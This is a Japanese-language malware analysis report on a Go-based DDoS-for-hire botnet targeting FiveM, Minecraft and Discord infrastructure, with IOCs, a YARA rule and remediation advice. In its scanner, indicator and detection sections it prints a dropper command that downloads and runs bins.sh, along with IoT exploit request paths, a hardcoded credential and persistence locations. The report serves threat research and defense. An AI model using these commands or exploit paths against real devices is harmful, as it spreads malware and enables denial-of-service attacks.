malware · botnet · ddos · golang · iot · honeypot · gaming · mirai
ゲーム狙いの DDoS 貸出オペレーションの内幕
Kinryū Labs は、これが共有のボットネットビルダーキット上で運営される商用のゲーム狙い DDoS 貸出オペレーションであると高い確度で評価する。同一の Go コードベースを、異なる操作者がそれぞれ独自の C2 サーバーと攻撃ロードアウトでコンパイルしており、ここで分析したフリートはセルフサービス型でアカウント制の貸出 API と、およそ 28 から 32 台のデバイスから成る稼働中のボット在庫を前面に構え、ゲームおよび音声インフラに対して顧客の攻撃注文を送出している。その raw TCP のコマンドチャネルは未認証である一方、ボット登録はパスワード認証を要する SSH チャネルの背後でゲートされている。
著者 Davis Zheng·
TLP:CLEAR。一般公開を承認済み。Kinryū Labs ハニーポット・センサーネットワークで捕捉。以下の指標は無害化(defang)済み。
エグゼクティブサマリー
- 117 アーキテクチャにまたがる固有バイナリ
- 28-32貸出 API 上の稼働中ボット
- 1SSH 対応バリアント(Windows PE)
これは IoT ワーム機能を備えた Go 製の DDoS ボットネットであり、マルチアーキテクチャ投下器(bins.sh)を通じて配布され、商用の DDoS 貸出サービスとして運営されている。ボットは raw TCP でコマンド&コントロールサーバーに接続し、定期的に STATS ハートビートを送り、改行区切りの攻撃コマンドを受信する。Kinryū Labs は、これが稼働中でゲーム特化の DDoS 貸出ボットネットであると高い確度で評価する。
際立った特徴は認証の非対称性である。9111/tcp のコマンドチャネルは未認証で、TCP 接続からコマンド送出までの間にパスワード、トークン、チャレンジ&レスポンスのいずれもやり取りされない。ボット登録は 911/tcp のパスワード認証を要する SSH チャネルで別個に追跡され、貸出 API のボットカウンターは開かれたコマンド接続ではなくそれら認証済みの登録を反映する。分析したバイナリは raw TCP チャネルしか話さず SSH クライアントを持たないため、登録は別個のローダーコンポーネントが処理する。
このオペレーションは可視的なビジネスとして運営される。コマンド&コントロールホストはセルフサービス型でアカウント制の DDoS 貸出 API を前面に構え、自らのボット在庫の稼働数をリアルタイムに公開しており、同一のボットネットキットから構築された複数のストアフロントのうちの一つである。数時間の監視の間に、このサービスは顧客の攻撃注文をリアルタイムで送出した。
- コマンドチャネルは未認証だが、登録はそうではない。
9111への raw TCP は認証なしでコマンドを受け付ける一方、貸出 API のボット数は911上のパスワード認証済み SSH セッションを追跡する。稼働環境でのテストにより、9111への raw TCP 接続も、911上の未認証 SSH 鍵交換も、いずれもボット数を変化させないことを確認した。 - このフリートは一つの Go コードベースを多様にコンパイルしたものである。 C2 のファイルサーバー上の 16 個のファイルは、7 アーキテクチャにまたがる 11 個の固有バイナリに集約され、いずれもモジュールパス
Botnet/Botとビルドフラグ-tags=netgo -trimpath=trueを共有する。SSH クライアントを持つバリアントは Windows PE だけであり、Linux と IoT のビルドはスキャナーの悪用と投下器を通じて増殖する。 - このサービスはゲーム向けストレッサー市場を標的とする。 メソッドセットには FiveM、Minecraft、Discord のフラッドが含まれ、我々が捕捉した稼働中の攻撃コマンドはほぼすべてゲームおよび音声インフラに向けられていた。
- このフレームワークは Mirai 系統の設計を Go で書き直したものである。 Mirai の構造的パターン、すなわち未認証の TCP コマンドチャネル、テキスト区切りのコマンド、攻撃ごとの goroutine による送出、そして同一の悪用標的を叩く IoT スキャナーを共有しており、それを Go で再実装し、ゲーム市場向けのメソッド、TLS/HTTPS フラッド、そして後付けの貸出 API を加えている。
- これは専用に作られたボットネットではなく、共有のビルダーキットである。 副次的な投下器サーバーは別の操作者の C2 とインフラを共有しており、このキットから構築されたフリート群は、C2 アドレスと攻撃メソッドの選択が異なる一方で、モジュールパス、スキャナー、永続化機構、ルーターの悪用を共有する。
キットとそのバリアント
C2 はボットネットフリートを提供するオープンディレクトリをホストしている。16 個のファイルは SHA-256 で 11 個の固有バイナリに集約され、x86、x86-64、ARM(v5/v6/v7)、ARM64、MIPS(ビッグエンディアンとリトルエンディアン)に加えて Windows PE と最小限のスタブを網羅する。いずれも Botnet/Bot の Go コードベースを共有し、Go 1.26.4 でコンパイルされており、Windows ビルドの SSH クライアントを除いてサードパーティのインポートはない。
三つの点が際立つ。
- SSH 対応バリアントは Windows PE だけである。
golang.org/x/crypto/sshをインポートするのはbot.exeのみで、Linuxamd64ビルドの全文字列スキャンと、11 個すべての固有バイナリにわたるバイナリ横断の比較でも、他に SSH のインポートは見つからなかった。Linux と IoT のバリアントはスキャナーと投下器を通じて拡散する。 - あるバリアントは古い、C2 を持たないビルドである。
x866は、フリートの 1.26.4 に対して Go 1.25.6 でコンパイルされており、最小の ELF バリアントで、可視の C2 アドレスを持たない。アドレスはおそらくエンコードされているか、実行時に供給される。これはBotnet/Botコードベースを共有しており、同一の操作者に結び付けられる。 sora.x86はボットネットではない。 Mirai の「Sora」一族を想起させるファイル名にもかかわらず、これは同一のツールチェーンで作られた最小限の Go スタブであり、そのユーザーコード全体はsora.x86 is runningを出力して終了するだけで、C2 アドレス、スキャナー、攻撃メソッド、資格情報のいずれも持たない。おそらくプロセスの番兵(sentinel)か、ファイルサーバー上のおとりとして機能する。
Windows PE の三つの捕獲はおよそ一週間にまたがる。二つはバイト単位で同一であり、後のものはより小さなストリップ済みの再ビルド、さらに後のものは元とは異なるフル機能の再コンパイルである。
C2 プロトコル
コマンドチャネルはトランスポート認証のない raw TCP である。接続シーケンスは、任意の設定取得(GET /config.dat、埋め込まれた checkcode に照らして検証される)、永続化ルーチン、そしてコマンドポートへの net.Dial から成り、その後ボットは自らは何も書き込まずにコマンドを読む。
- ハートビート:
STATS|%d|%d|%d|%d|%s\n。末尾のフィールドは OS またはアーキテクチャ(例えばamd64)で、四つの整数は攻撃数、接続数、スキャン数、感染数を報告する。 - コマンド: 改行区切りで空白により分割され、
ATTACK_TYPE TARGET PORT DURATION [OPTIONS...]の形式を取る。最初のフィールドがメソッドを選択し、数値フィールドはstrconv.Atoiでパースされる。 - 再接続: 120 秒のタイマーが接続ループに再入する。
- 設定: 資格情報と設定は
config.datから取得され、独自の多段 XOR 暗号(空白で初期化された 4,078 バイトのバッファに、二つの固定鍵バイト0x24と0x3Cでバイト単位の XOR をかける)でデコードされる。分析時点ではconfig.datは提供されておらず、操作者がそれを無効化したか移動したことを示す。
攻撃メソッド
ボットは幅広い DDoS ツールキットを備えており、その関数名とログ文字列から目録化した。
攻撃メソッド
ゲーム標的: FiveMFlood、FiveMBypass、FiveMTCP、Minecraft、Discord。
レイヤー 7: HTTPSFlood(Starting Optimized HTTPS Flood on)、Bypass、TLSFlood、TLSPlusFlood、TLSPlusBypassFlood、Priv7Flood(PRIV7 Attack finished)。
レイヤー 4: TCPFlood、PPSFlood、PPSRawFlood、RawTCPFlood、RawACKFlood、ResetAttack。
レイヤー 3: UdpFlood、RawUDPFlood、UDPPPSFlood(Extreme UDP (PPS))、GbpsFlood(High GBPS)、DNSFlood。
特殊 / ホスティング特化: OVHFlood(OVH を標的とする)、GameFlood、FortAttack(Fortnite)、Crash、Freez。
Linux 専用(PE ビルドには含まれない): NtpAmp(完全な NTP 増幅。PE はスタブを備える)、HandshakeFlood(IP 偽装を伴う raw ソケットの TCP SYN フラッド)、VoultFlood(チェックサム計算を伴う raw ソケットのフラッド)。
HTTP フラッドは 12 個のハードコードされたブラウザ User-Agent 文字列を巡回させ、正規のトラフィックに紛れて WAF のフィルタリングをすり抜けるために、評判の高いサイトの集合(google.com、twitter.com、facebook.com、fbi.gov、reddit.com、bing.com)から Referer を設定する。
スキャナーと IoT ワーム
スキャナーは IoT のログイン資格情報を総当たりし、いくつかの組込みデバイスのウェブスタックを悪用する。JAWS の DVR/IP カメラ(GET /syscmd.htm)、ルーター上の Boa ウェブサーバー(POST /boafrm/formSysCmd、POST /boafrm/formLogin)、そして GoAhead ベースのデバイス(認証迂回と管理者ユーザー作成のための setUserLogin、設定抽出のための getSanvas)である。侵害されたデバイスは wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh を実行させられる。
資格情報は分割されている。一つのスキャナーパスワードはバイナリにハードコードされており(555111111!!、ユーザー名はおそらく 555)、大量の資格情報リストは実行時に config.dat から取得され XOR デコードされる。
永続化は四つの機構に加えてプロセスの偽装を用いる。/etc/systemd/system/sysd.service の systemd ユニット(daemon-reload を伴う)、/tmp/cron_tmp を介した cron エントリ、rc.local(/etc/rc.local、/etc/rc.d/rc.local)、そして init.d(/etc/init.d/boot.local)である。プロセスは sysd という名のシステムデーモンになりすます。
貸出オペレーション
コマンド&コントロールホストはビジネスのように配置されている。22 で操作者 SSH、911 で Go 製 SSH のボット登録チャネル(パスワード認証、別個の RSA-2048 鍵上)、3333 で DDoS 貸出 HTTP API、9111 で raw TCP コマンドチャネル、そして 5001 でボットフリートをダウンロード用にホストするオープンディレクトリのファイルサーバーを露出している。
セルフサービス型のストアフロント。 3333 の API は最小限の単一エンドポイントのブーターである。/stats はボット在庫の稼働数を返し、/api は注文を受け付ける。顧客ごとのアカウント資格情報である user と psw を、標的と攻撃パラメータである host、method、time/duration、port とともに検証し、欠けているものや未認証のものはすべて拒否する。注文フォームは未認証のプロービングからも見える。
GET /stats
{"time":<unix>,"total":30}
GET /api
Missing parameters: user, psw, host, method, time/duration, port
GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed
注文フォームはボットのコマンド形式(ATTACK_TYPE TARGET PORT DURATION)に一対一で対応する。一つの認証済み API リクエストが、未認証の 9111 チャネル経由ですべての登録済みボットへ送出される一行になる。
選別された在庫。 /stats は監視ウィンドウ全体を通じて絶え間ない入れ替わりを伴う 28 から 32 台の稼働中ボットを報告した。そのカウンターは raw なコマンド接続ではなく 911 上のパスワード認証済みの登録を追跡するため、精査済みの在庫数である。これが、登録とコマンド送出が二つのチャネルに分割されている運用上の理由である。どのボットがサービスに属するかを決める一つのゲートと、それらを駆動する一つの開かれたチャネルである。
マイニングから DDoS への転換。 副次的な投下器サーバーは DDoS フリートと並んで空にされた miner.sh を保持しており、これはその後除去された暗号通貨マイナーコンポーネントの名残である。操作者は暗号通貨マイニングから DDoS の販売へ移行したように見える。
稼働中に観測した注文の履行
我々はリバースしたプロトコルを、受動的なモニターで稼働中の C2 に照らして検証し、サービスが稼働する様子を観察した。C2 はほとんどアイドル状態だったが、ある数時間のセッションの間に 13 個の攻撃コマンドを送出し、それぞれがフリートへ押し出された顧客の注文だった。
注文はほぼすべてゲームおよび音声インフラに向けられていた。主にサウジアラビアの Google Cloud 上の FiveM(GTA V)ゲームサーバーで、加えて Cloudflare 上の Discord 音声エンドポイントと一組のウェブサーバーである。我々はこれが、特定の顧客間の争いに基づいて動くゲーム特化のストレッサーサービスであると評価する。送出パターンはサービス提供のように読める。製品ティアを思わせる段階的な攻撃持続時間(20 秒のプローブ、30 秒の標準、60 秒の持続)、メソッドのエスカレーション(標的をテストする汎用フラッド、続いてそれに対するプロトコル特化のメソッド)、対にした一斉の送出とそれに続く静穏、そして Discord サーバーの負荷分散された音声の背後にある両方の IP を二度叩く(double-tap)ことである。
共有のビルダーキット
これは専用に作られたボットネットではない。異なる操作者がカスタマイズし、自らのサービスとして運営するボットネットキットの一つのビルドである。このキットを最もよく見渡せるのは、同一のコードベース上で動く、我々の以前のレポート クロスプラットフォームな Go 製 DDoS 貸出ボットネット のフリートとの並置である。
| 以前のレポート | 本オペレーション | |
|---|---|---|
| コードベース | Botnet/Bot Go キット | 同じ Botnet/Bot Go キット |
| 配信 | Jenkins RCE + IoT スキャナー | Jenkins RCE + IoT スキャナー |
| スキャナー、永続化、ルーターの悪用 | 共有 | 共有 |
| C2 アドレス | 185.226.93[.]242 | 5.175.140[.]178 |
| ロードアウトと市場 | 汎用 DDoS | ゲーム向けストレッサー(FiveM、Minecraft、Discord) |
これらのフリートは Botnet/Bot モジュールパス、同一のスキャナーと IoT の悪用、同一の永続化機構、同一の投下器を共有しており、重複するインフラ上で動いている。ここでの副次的な投下器サーバー(185.226.93[.]242)は、以前のレポートの C2 である。異なるのはロードアウトと市場である。あちらのフリートは汎用のフラッドセットをコンパイルするが、ここの操作者はゲーム向けのメソッドをコンパイルし、貸出注文 API を備え、ゲーム向けストレッサー市場をまっすぐに狙っている。両者はビルダーキット経済を指し示す。共有されたコードベースが再販されたり回されたりし、各操作者がそれぞれの標的を持つストアフロントを立ち上げるのである。
侵害指標
攻撃者インフラは無害化済み。ハッシュは正確に再現している。
ネットワーク
| 指標 | 説明 |
|---|---|
5.175.140[.]178:911/tcp | ボット登録(Go SSH、パスワード認証。貸出 API がカウント) |
5.175.140[.]178:9111/tcp | コマンド送出(raw TCP、未認証。カウントされない) |
5.175.140[.]178:3333/tcp | DDoS 貸出 API(/stats、/api) |
5.175.140[.]178:5001/tcp | オープンディレクトリのファイルサーバー(ボットフリート + 投下器) |
5.175.140[.]178:22/tcp | 操作者 SSH(OpenSSH 9.7p1 Ubuntu) |
hxxp://5.175.140[.]178:9111/config.dat | raw TCP による設定取得 |
hxxp://5.175.140[.]178:5001/bins.sh | マルチアーキテクチャ投下器(主要) |
185.226.93[.]242:1001/tcp | 副次的な投下器(別の操作者の C2) |
hxxp://185.226.93[.]242:1001/bins.sh、…/binns.sh | 投下器(副次 + タイポのバリアント) |
217.60.195[.]229 | 検体を送り込んだ送信元アドレス |
5.175.140[.]0/24 | ホスティング割り当て |
スキャナー / 増殖文字列
GET /syscmd.htm HTTP/1.1 (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1 (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1 (Boa login)
GET /login.htm HTTP/1.1 (router login page)
{"topicurl":"setting/setUserLogin",...} (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"} (GoAhead config extraction)
GET /config.dat HTTP/1.1 (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt
ホスト上の痕跡
Process name: sysd
systemd: /etc/systemd/system/sysd.service (+ daemon-reload)
cron: /tmp/cron_tmp
rc.local: /etc/rc.local, /etc/rc.d/rc.local
init.d: /etc/init.d/boot.local
Hardcoded scanner credential: 555111111!! (likely username 555)
ファイル(SHA-256)、特記なき限り Go 1.26.4
全ファイルハッシュ
bot.exe (Windows PE, only SSH-capable variant), captures:
6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4 (6,253,056 bytes)
36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25 (4,933,632 bytes, stripped rebuild)
4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 (6,020,608 bytes, full rebuild)
Linux amd64: 8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical): d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l): 523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5: 362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6: 2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64): 428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE): 6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE): 3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP): f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet): a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
sora.x86 MD5: 3f95cf1ed17f7e00a7be4f5cf12e0088
x86/i386、ARM7 グループ(android_arm/arm/arm7/armv7l)、そして android_arm64/arm64 はバイト単位で同一である。arm6 は同じサイズにもかかわらず ARM7 グループとは異なる(GOARM のコード生成が異なる)。
ホスティング
Provider: Ryzehosting
Maintainer: GHOSTNET-MNT
Abuse: [email protected]
Reverse DNS: static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15
検知
文字列は安定しており難読化されていないため、シグネチャは素直に作れる。以下の候補 YARA ルールは特徴的な文字列から構築した。展開前に検証すること。
rule go_gaming_ddos_bot_candidate
{
meta:
description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
author = "Kinryu Labs honeypot CTI"
reference = "6da75697...78d4" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$mod = "Botnet/Bot" ascii
$cnc1 = "Connecting to CNC" ascii
$cnc2 = "Connected to CNC" ascii
$stats = "STATS|" ascii
$svc = "/etc/systemd/system/sysd.service" ascii
$cron = "/tmp/cron_tmp" ascii
$fivem = "Starting FiveM Flood on" ascii
$cred = "555111111!!" ascii
condition:
($mod and 2 of ($cnc1, $cnc2, $stats)) or
($svc and $cron) or
(2 of ($fivem, $cred, $stats))
}
追加の検知ロジック:
# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n
# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}
# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
是正措置
- Jenkins やその他の CI/CD および管理インターフェースをインターネットに晒さないこと。 これが配信ベクターだった。
- JAWS、Boa、GoAhead ベースの IoT デバイスにパッチを当てるかセグメント化し、 それらの管理インターフェースへの外部アクセスをブロックすること。これらはスキャナーの増殖標的である。
- C2 と投下器のインフラを境界でブロックすること(
5.175.140[.]178と185.226.93[.]242:1001の投下器)。そしてconfig.datの取得とbins.shの実行チェーンにアラートすること。 - 永続化の痕跡と
sysdプロセス名にアラートし、 エグレス上のSTATS|ハートビートパターンにもアラートすること。
MITRE ATT&CK マッピング
| 戦術 | 技術 |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application(Jenkins による配信。JAWS / Boa / GoAhead の IoT ウェブスタック悪用) |
| Execution | T1059.004 Command and Scripting Interpreter: Unix Shell(bins.sh 投下器) |
| Persistence | T1543.002 Systemd Service(sysd.service);T1053.003 Cron;T1037.004 RC Scripts(rc.local);init.d ブートスクリプト |
| Defense Evasion | T1036 Masquerading(プロセス名 sysd。ブラウザ User-Agent と referer の偽装);T1027 Obfuscated Files or Information(XOR エンコードされた config.dat) |
| Credential Access | T1110 Brute Force(IoT デバイスのログイン) |
| Discovery | T1046 Network Service Scanning(IoT スキャナー) |
| Command and Control | T1071.001 Web Protocols(config.dat);T1571 Non-Standard Port(911、9111、3333、5001);T1105 Ingress Tool Transfer(マルチアーキテクチャ投下器) |
| Impact | T1498.001 Direct Network Flood(UDP / TCP / PPS / FiveM / Discord);T1498.002 Reflection Amplification(DNS / NTP) |
手法とアナリストノート
- 分析は静的リバースエンジニアリングに加えて、稼働中プロトコルの受動的な検証であり、バイナリは一度も実行していない。
- 指標は無害化済みで、ハッシュは正確に再現している。
- 検体は、他の研究者や防御側の求めに応じて提供可能。[email protected] まで、あなたが誰で何のために必要かを短く添えてメールを。